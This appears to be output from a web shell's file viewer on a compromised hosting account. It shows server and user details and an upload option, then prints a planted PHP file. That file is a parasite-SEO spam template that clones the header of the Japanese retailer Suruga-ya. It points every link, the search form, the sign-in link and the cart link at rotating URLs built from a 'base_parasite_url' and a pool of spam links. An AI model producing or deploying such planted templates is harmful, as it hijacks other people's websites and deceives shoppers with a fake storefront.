HEX
Server: LiteSpeed
System: Linux eticaretsrv4.isimtescil.net 3.10.0-962.3.2.lve1.5.26.7.el7.x86_64 #1 SMP Wed Oct 2 07:53:12 EDT 2019 x86_64
User: sioberen (1086)
PHP: 7.3.33
Disabled: NONE
Upload Files
File: /home/sioberen/public_html/cache/includes/header_complete.php
<?php
// 确保 get_next_random_link 函数可用(在 sidebar_complete.php 之前加载)
if (!function_exists('get_next_random_link')) {
    function get_next_random_link(array &$data) {
        static $sidebar_link_index = 0;
        
        // Fallback in case the pool is unexpectedly empty.
        if (empty($data['sidebar_links'])) {
            return $data['base_parasite_url'] . '/';
        }
        
        // Get the next link from the pool.
        $link = $data['sidebar_links'][$sidebar_link_index];
        
        // Increment the index and loop back to the start if we reach the end.
        $sidebar_link_index = ($sidebar_link_index + 1) % count($data['sidebar_links']);
        
        // 确保返回完整的URL格式
        if (strpos($link, 'http') !== 0) {
            // 如果不是完整URL,添加基础URL
            $link = $data['base_parasite_url'] . $link;
        }
        
        return $link;
    }
}
?>
<header>
<div class="top_nav">
    <div class="container_suru">
        <div class="row align-items-center text-left">
            <div class="col-3 d-flex justify-content-start align-items-center">
                <button type="button" class="sidebar_suruCollapse navbar-btn" id="sidebarCollapse">
                    <span></span>
                    <span></span>
                    <span></span>
                </button>
                <a href="<?php echo $data['base_parasite_url']; ?>" onclick="dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});"><?php echo $data['domain']; ?></a>
            </div>
            <div class="col-5">
                <form class="form-inline search-form-top" action="<?php echo htmlspecialchars(get_next_random_link($data)); ?>" method="get">
                    <div class="search_top_pc d-flex justify-content-start">
                        <div class="select-wrapper">
                            <select class="form-control" name="category" id="cat-search">
                                <option value="">All products</option>
                                <option value="3">Video software</option>
                                <option value="4">Music software</option>
                                <option value="5">Toys &amp; Hobbies</option>
                                <option value="10">Goods and Fashion</option>
                                <option value="2">game</option>
                                <option value="6">PC/Smartphone</option>
                                <option value="8">Home appliances, cameras, AV equipment</option>
                                <option value="7">Books and Comics</option>
                                <option value="11">Doujinshi</option>
                            </select>
                            <input id="search_cat_suggest" type="text" style="display: none" value="">
                        </div>
                        <div class="search_box_wraper">
                            <span class="line_break"></span>
                            <input id="txt-search" class="form-control search_top_input" type="search" name="search_word" autocomplete="off" value="">
                        <div class="np-keyword-suggest" style="display: none;"></div><div class="np-item-suggest" style="display: none;"></div></div>
                        <input type="hidden" name="searchbox" value="1">
                        <input type="hidden" value="0" id="check_path" data-click="0">
                        <input type="hidden" name="is_marketplace" value="0">
                        <div class="search_top_btn_wraper">
                            <button id="btn-search" type="submit" class="form-control search_top_btn">search</button>
                        </div>
                    </div>
                </form>
            </div>
            <style type="text/css">
                .header_right_display_none{
                    display: none !important;
                }
            </style>
            <div class="col-4 justify-content-between d-flex align-items-center header_right padL0">
                <div class="safe-search safe-search2">
                    <a href="<?php echo htmlspecialchars(get_next_random_link($data)); ?>" class="d-flex align-items-center" data="">
                        SafeSearch Not set
                    </a>
                </div>
                <div class="d-flex align-items-center justify-content-end">
                    <div class="item_right_header padR32">
                        <div class="d-flex align-content-center justify-content-center">
                            <div class="text-right lineH13 padR4">
                                <div class="text-blue font-weight-bold text-login"><a href="<?php echo htmlspecialchars(get_next_random_link($data)); ?>" onclick="dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});">Sign In</a></div>
                                <div class=" font-weight-bold text-logout" style="display: none"><a href="<?php echo htmlspecialchars($data['random_link']); ?>" class="text-blue account-name" onclick="dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});"></a><br><a href="<?php echo htmlspecialchars($data['random_link']); ?>" class="black-link" onclick="dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});"><small>(sign out)</small></a></div>
                            </div>
                            <div><a href="<?php echo htmlspecialchars(get_next_random_link($data)); ?>" onclick="dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});"><img src="https://cdn.suruga-ya.jp/pics/common/pc/user_black.svg" title="user" alt="user icon" height="26px"></a></div>
                        </div>
                    </div>
                    <div class="item_right_header">
                        <a href="<?php echo htmlspecialchars(get_next_random_link($data)); ?>" onclick="dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});" class="d-flex justify-content-start align-content-center">
                            <div class="sidebar_cart">
                                <img src="https://cdn.suruga-ya.jp/pics/common/pc/cart_black.svg" title="cart" alt="cart icon" height="26px">
                                <span class="lbl_cart cart-number">0</span>
                            </div>
                        </a>
                    </div>
                    <div class="item_right_header">
                        <div class="notify">
                            <div class="dropdown" id="notification">
                                <div class="bell">
                                    <div id="subscribe" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                                        <span class="lbl_count">0</span>
                                        <img class="notification-btn dropdown-toggle" src="https://cdn.suruga-ya.jp/pics/common/pc/bell.svg" height="26px" alt="Notification Bell">
                                        <div class="stt_Notifi d-none"></div>
                                    </div>
                                    <div class="dropdown-menu" aria-labelledby="subscribe">
                                        <div class="head">
                                            <div class="row">
                                                <div class="col-lg-12 col-sm-12 col-12 d-flex justify-content-end">
                                                    <div><a href="javascript:void(0)" class="read-all-message float-right text-gray-dark">Mark all as read</a></div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="notify_scroll">
                                            <ul id="messages" class="list-unstyled notify_scroll">
                                            </ul>
                                            <div class="justify-content-center notify-loading d-flex align-items-center">
                                                <div class="spinner-border text-secondary m-3" role="status">
                                                    <span class="sr-only">Loading...</span>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="overlay"></div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
</header>